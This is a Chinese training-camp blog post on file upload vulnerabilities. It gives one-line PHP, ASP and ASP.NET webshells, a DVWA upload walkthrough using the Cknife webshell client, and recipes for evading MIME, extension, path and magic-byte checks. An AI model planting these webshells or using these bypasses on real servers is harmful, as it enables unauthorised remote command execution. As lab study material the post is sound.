韩舒学姐（相当温柔）今天给我们讲解了文件上传漏洞，以及Anrwsord和Cknife等工具的使用。

文件上传漏洞

上传的文件不进行限制，有可能会被利用于上传可执行文件、脚本到服务器上，并且通过脚本文件可以获得执行服务器端命令的能力

木马

根据语言分类，有PHP、ASP、JSP、ASP.NET等不同语言下的木马；根据作用分类，有大马和小马

PHP一句话木马：

<?php ehco shell_exec($_GET[‘a’]); ?>

<?php ehco shell_exec($_POST[‘a’]); ?>

<?php @eval($_POST[‘a’]); ?>

ASP一句话木马：

<%eval request(“Cknife”)%>

ASP.NET一句话木马：

<%@ Page Language=”Jscript”%><%eval(Request.Item[“Cknife”],”unsafe”);%>

shell_exec()

通过环境执行命令，并且将完整的输出以字符串的方式返回

eval()

把字符串作为PHP代码执行执行a接收到的内容

Cknife（菜刀）

超级强大的网站管理工，分为客户端和代码两部分

只要将那简短的一句话代码放到网站上去就可以取得网站的权限

运行环境：安装了JRE1.7+环境的所有操作系统

主要功能：文件管理、虚拟终端、数据库管理

DVWA’s File Upload

low level的测试一下，源码中没有对任何文件格式进行过滤：

写出一句话木马

用菜刀连接的一句话木马：

<?php @eval($_POST[‘a’]; ?>

直接在网页下通过GET的一句话木马：

<?php echo shell_exec($_GET[‘a’]); ?>

在网页下用hackbar通过POST的一句话木马：

<?php echo shell_exec($_POST[‘a’]); ?>

上传一句话木马直接在网页查到文件

get

post

Cknife连接

连接后可以得到目标服务器下所有文件

源码：

<?php
if (isset($_POST[‘Upload’])) {

$target_path = 
    DVWA_WEB_PAGE_TO_ROOT."hackablehttp://img.558idc.com/uploadfile/";
    //上传路径为../../hackablehttp://img.558idc.com/uploadfile/
    $target_path = $target_path . basename( $_FILES['uploaded']['name']);
    //上传路径加上上传的文件名
    if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
     //对是否上传成功做出判断，因此所有格式的文件都能上传
        echo '<pre>';
        echo 'Your image was not uploaded.';
        echo '</pre>';
      } else {
        echo '<pre>';
        echo $target_path . ' succesfully uploaded!';
        echo '</pre>';
    }
}

?>

文件上传漏洞检测

客户端javascript检测：通常在本地检测文件的扩展名

服务端MIME类型检测：通常检测的是Content-Type内容

服务端目录路径检测：通常根path参数相关的内容

服务端文件扩展名检测：通常检测跟文件extension相关的内容

服务端文件内容检测：检测文件内容是否合法或含有恶意代码

客户端javascript检测

在客户端使用js对不合法图片进行检查

绕过：

禁用页面js

先把文件改成符合条件的文件格式上传，在抓包，修改文件的后缀名

服务端检测绕过（MIME类型检测）

通过判断$_FILES[‘userfile’][‘type’]!=”imgae/gif”来保证上传的文件类型为gif

绕过：通过burp抓包，将原来的Content-Type类型改为符合要求的类型

Content-Type: application/octet-stream

application/octet-stream即为php文件的文件类型格式

服务端目录路径检测

上传路径为“/image/20160704”时，可以通过修改为“image/20160704/eval.php%00filename.gif”

通过%00截断最终导致存储的文件名为eval.php

服务端文件扩展名检测

分为黑名单检测和白名单检测

黑名单检测

接收上传的文件做对比，如果匹配到黑名单中的后缀名，则不允许上传

绕过：

后缀名大小写绕过 ,例如:将Burpsuite截获的数据包中的文件名“evil.php”改“evil.Php”

名单列表绕过，尝试使用非黑名单内的后缀名，如php5，php7等

特殊文件名绕过（只适用windows，将文件名改为“evil.php.”或“evil.php”（注意这里有一个空格)。在windows下，不允许这样的命 名，所以会将.和空格自动去掉）。

0x00截断绕过：在上传的时候，当文件系统读到0x00时，会认为文件已经结束。例如：“1.php%00.jpg”，验证扩展名是“.jpg”，但写入的时候是“1.php”文件

白名单检测

接收上传的文件做扩展名匹配，匹配上的白名单中的扩展名的文件才能上传

绕过：

0x00阶段绕过

解析漏洞绕过：（1）apache解析文件名是从右到左识别扩展名，如“eval.php.jpg”，文件为php文件，不能解析jpg会向前解析php

（2）IIS6.0目录名包含“.asp、.asa、.cer”的话，则该目录下的所有文件都将按照asp解析。

（3）IIS6.0不解析;后面的，所以提交“evil.asp;.html”解析为asp类型

（4）Nginx解析漏洞：将php文件换成其他可以通过的文件后缀，访问的时候在后面加上“eval.php.jpg”，如“evil.jpg/.php”，“evil.jpg”会解析为php的格式

服务端文件内容检测

图像类文件内容检测

文件幻数检测（图片头格式检测）：

（1）jpg内容头value= FF D8 FF E0 00 10 4A 46 49 46

（2）gif内容头value= 47 49 46 38 39 61

（3）png内容头value= 89 50 4E 47

绕过：在文件头后加上一句话木马就能绕过

原文:大专栏  集训第六天：文件上传漏洞